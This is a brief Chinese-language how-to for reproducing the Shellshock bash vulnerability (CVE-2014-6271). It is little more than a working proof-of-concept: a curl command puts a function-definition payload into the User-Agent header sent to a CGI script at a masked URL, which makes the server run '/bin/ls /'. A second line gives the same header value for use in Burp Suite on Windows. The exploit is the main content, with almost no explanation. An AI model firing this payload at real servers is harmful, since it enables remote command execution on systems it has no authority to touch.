破壳漏洞(CVE-2014-6271)


linux下可以直接使用curl进行复现,命令如下

curl -A ' () { :;};echo ;  echo $(/bin/ls /);' 'http://www.*****.com/cgi-bin/poc.cgi' 

Windows下可使用Burp Suite

将User-Agent改为() { :;};echo ; echo $(/bin/ls /);


  目录